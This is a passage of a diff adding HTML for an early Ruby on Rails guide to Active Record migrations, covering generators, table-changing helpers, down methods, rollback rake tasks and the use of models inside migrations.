+<div class="para"><p>You can append as many column name/type pairs as you want. By default <tt>t.timestamps</tt> (which creates the <tt>updated_at</tt> and <tt>created_at</tt> columns that
+are automatically populated by Active Record) will be added for you.</p></div>
+<h3 id="_creating_a_standalone_migration">2.2. Creating a standalone migration</h3>
+<div class="para"><p>If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:</p></div>
+<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts</tt></p></div>
+<div class="para"><p>This will create an empty but appropriately named migration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
+the appropriate add and remove column statements will be created.</p></div>
+<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts part_number:string</tt></p></div>
+<div class="para"><p>will generate</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Similarly,</p></div>
+<div class="para"><p><tt>ruby script/generate migration RemovePartNumberFromProducts part_number:string</tt></p></div>
+<div class="para"><p>generates</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RemovePartNumberFromProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You are not limited to one magically generated column, for example</p></div>
+<div class="para"><p><tt>ruby script/generate migration AddDetailsToProducts part_number:string price:decimal</tt></p></div>
+<div class="para"><p>generates</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddDetailsToProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+ add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price<span style="color: #990000">,</span> <span style="color: #990000">:</span>decimal
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price
+ remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.</p></div>
+</div>
+<h2 id="_writing_a_migration">3. Writing a Migration</h2>
+<div class="sectionbody">
+<div class="para"><p>Once you have created your migration using one of the generators it's time to get to work!</p></div>
+<h3 id="_creating_a_table">3.1. Creating a table</h3>
+<div class="para"><p><tt>create_table</tt> will be one of your workhorses. A typical use would be</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>which creates a <tt>products</tt> table with a column called <tt>name</tt> (and as discussed below, an implicit <tt>id</tt> column).</p></div>
+<div class="para"><p>The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>string<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the <tt>string</tt>, <tt>integer</tt> etc. methods create a column of that type. Subsequent parameters are identical.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>By default <tt>create_table</tt> will create a primary key called <tt>id</tt>. You can change the name of the primary key with the <tt>:primary_key</tt> option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass <tt>:id ⇒ false</tt>. If you need to pass database specific options you can place an sql fragment in the <tt>:options</tt> option. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>options <span style="color: #990000">=></span> <span style="color: #FF0000">"ENGINE=BLACKHOLE"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Will append <tt>ENGINE=BLACKHOLE</tt> to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").</p></div>
+<div class="para"><p>The types Active Record supports are <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>, <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.</p></div>
+<div class="para"><p>These will be mapped onto an appropriate underlying database type, for example with MySQL <tt>:string</tt> is mapped to <tt>VARCHAR(255)</tt>. You can create columns of
+types not supported by Active Record when using the non sexy syntax, for example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #FF0000">'polygon'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This may however hinder portability to other databases.</p></div>
+<h3 id="_changing_tables">3.2. Changing tables</h3>
+<div class="para"><p><tt>create_table</tt>'s close cousin is <tt>change_table</tt>. Used for changing existing tables, it is used in a similar fashion to <tt>create_table</tt> but the object yielded to the block knows more tricks. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>remove <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>part_number
+ t<span style="color: #990000">.</span>index <span style="color: #990000">:</span>part_number
+ t<span style="color: #990000">.</span>rename <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>removes the <tt>description</tt> column, creates a <tt>part_number</tt> column and adds an index on it. Finally it renames the <tt>upccode</tt> column. This is the same as doing</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>description
+remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
+add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+rename_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
+</tt></pre></div></div>
+<div class="para"><p>You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example <tt>remove_column</tt> becomes just <tt>remove</tt> and <tt>add_index</tt> becomes just <tt>index</tt>.</p></div>
+<h3 id="_special_helpers">3.3. Special helpers</h3>
+<div class="para"><p>Active Record provides some shortcuts for common functionality. It is for example very common to add both the <tt>created_at</tt> and <tt>updated_at</tt> columns and so there is a method that does exactly that:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>timestamps
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>will create a new products table with those two columns whereas</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>timestamps
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>adds those columns to an existing table.</p></div>
+<div class="para"><p>The other helper is called <tt>references</tt> (also available as <tt>belongs_to</tt>). In its simplest form it just adds some readability</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>will create a <tt>category_id</tt> column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the <tt>_id</tt> for you. If you have polymorphic belongs_to associations then <tt>references</tt> will add both of the columns required:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>attachment<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=></span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>default <span style="color: #990000">=></span> <span style="color: #FF0000">'Photo'</span><span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>will add an <tt>attachment_id</tt> column and a string <tt>attachment_type</tt> column with a default value of <em>Photo</em>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The <tt>references</tt> helper does not actually create foreign key constraints for you. You will need to use <tt>execute</tt> for that or a plugin that adds <a href="#foreign_key">foreign key support</a>.</td>
+</tr></table>
+</div>
+<div class="para"><p>If the helpers provided by Active Record aren't enough you can use the <tt>execute</tt> function to execute arbitrary SQL.</p></div>
+<div class="para"><p>For more details and examples of individual methods check the API documentation, in particular the documentation for <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html">ActiveRecord::ConnectionAdapters::SchemaStatements</a> (which provides the methods available in the <tt>up</tt> and <tt>down</tt> methods), <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html">ActiveRecord::ConnectionAdapters::TableDefinition</a> (which provides the methods available on the object yielded by <tt>create_table</tt>) and <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html">ActiveRecord::ConnectionAdapters::Table</a> (which provides the methods available on the object yielded by <tt>change_table</tt>).</p></div>
+<h3 id="_writing_your_down_method">3.4. Writing your down method</h3>
+<div class="para"><p>The <tt>down</tt> method of your migration should revert the transformations done by the <tt>up</tt> method. In other words the database should be unchanged if you do an <tt>up</tt> followed by a <tt>down</tt>. For example if you create a table in the up you should drop it in the <tt>down</tt> method. It is wise to do things in precisely the reverse order to in the <tt>up</tt> method. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ExampleMigration <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900">#add a foreign key</span></span>
+ execute <span style="color: #FF0000">"ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"</span>
+
+ add_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+
+ rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
+ remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url
+ execute <span style="color: #FF0000">"ALTER TABLE products DROP FOREIGN KEY fk_products_categories"</span>
+ drop_table <span style="color: #990000">:</span>products
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your <tt>down</tt> method. If someone tries to revert your migration an error message will be
+displayed saying that it can't be done.</p></div>
+</div>
+<h2 id="_running_migrations">4. Running Migrations</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be <tt>db:migrate</tt>. In its most basic form it just runs the <tt>up</tt> method for all the migrations that have not yet been run. If there are no such migrations it exits.</p></div>
+<div class="para"><p>If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:migrate VERSION=20080906120000</tt></pre>
+</div></div>
+<div class="para"><p>If this is greater than the current version (i.e. it is migrating upwards) this will run the <tt>up</tt> method on all migrations up to and including 20080906120000, if migrating downwards this will run the <tt>down</tt> method on all the migrations down to, but not including, 20080906120000.</p></div>
+<h3 id="_rolling_back">4.1. Rolling back</h3>
+<div class="para"><p>A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:rollback</tt></pre>
+</div></div>
+<div class="para"><p>This will run the <tt>down</tt> method from the latest migration. If you need to undo several migrations you can provide a <tt>STEP</tt> parameter:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:rollback STEP=3</tt></pre>
+</div></div>
+<div class="para"><p>will run the <tt>down</tt> method fron the last 3 migrations.</p></div>
+<div class="para"><p>The <tt>db:migrate:redo</tt> task is a shortcut for doing a rollback and then migrating back up again. As with the <tt>db:rollback</tt> task you can use the <tt>STEP</tt> parameter if you need to go more than one version back, for example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:migrate:redo STEP=3</tt></pre>
+</div></div>
+<div class="para"><p>Neither of these Rake tasks do anything you could not do with <tt>db:migrate</tt>, they are simply more convenient since you do not need to explicitly specify the version to migrate to.</p></div>
+<div class="para"><p>Lastly, the <tt>db:reset</tt> task will drop the database, recreate it and load the current schema into it.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">This is not the same as running all the migrations - see the section on <a href="#schema">schema.rb</a>.</td>
+</tr></table>
+</div>
+<h3 id="_being_specific">4.2. Being Specific</h3>
+<div class="para"><p>If you need to run a specific migration up or down the <tt>db:migrate:up</tt> and <tt>db:migrate:down</tt> tasks will do that. Just specify the appropriate version and the corresponding migration will have its <tt>up</tt> or <tt>down</tt> method invoked, for example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:migrate:up VERSION=20080906120000</tt></pre>
+</div></div>
+<div class="para"><p>will run the <tt>up</tt> method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example <tt>db:migrate:up VERSION=20080906120000</tt> will do nothing if Active Record believes that 20080906120000 has already been run.</p></div>
+<h3 id="_being_talkative">4.3. Being talkative</h3>
+<div class="para"><p>By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
+-- create_table(:products)
+ -> 0.0021s
+-- add_index(:products, :name)
+ -> 0.0026s
+== 20080906170109 CreateProducts: migrated (0.0059s) ==========================</tt></pre>
+</div></div>
+<div class="para"><p>Several methods are provided that allow you to control all this:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>suppress_messages</tt> suppresses any output generated by its block
+</p>
+</li>
+<li>
+<p>
+<tt>say</tt> outputs text (the second argument controls whether it is indented or not)
+</p>
+</li>
+<li>
+<p>
+<tt>say_with_time</tt> outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, this migration</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ suppress_messages <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ say <span style="color: #FF0000">"Created a table"</span>
+ suppress_messages <span style="color: #FF0000">{</span>add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name<span style="color: #FF0000">}</span>
+ say <span style="color: #FF0000">"and an index!"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ say_with_time <span style="color: #FF0000">'Waiting for a while'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ sleep <span style="color: #993399">10</span>
+ <span style="color: #993399">250</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>products
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>generates the following output</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
+-- Created a table
+ -> and an index!
+-- Waiting for a while
+ -> 10.0001s
+ -> 250 rows
+== 20080906170109 CreateProducts: migrated (10.0097s) =========================</tt></pre>
+</div></div>
+<div class="para"><p>If you just want Active Record to shut up then running <tt>rake db:migrate VERBOSE=false</tt> will suppress any output.</p></div>
+</div>
+<h2 id="models">5. Using Models In Your Migrations</h2>
+<div class="sectionbody">
+<div class="para"><p>When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.</p></div>
+<div class="para"><p>Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with <tt>rake db:migrate</tt>, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.</p></div>
+<div class="para"><p>Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ <span style="color: #990000">...</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ <span style="color: #990000">...</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.</p></div>
+<h3 id="_dealing_with_changing_models">5.1. Dealing with changing models</h3>
+<div class="para"><p>For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the <tt>reset_column_information</tt> method, for example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
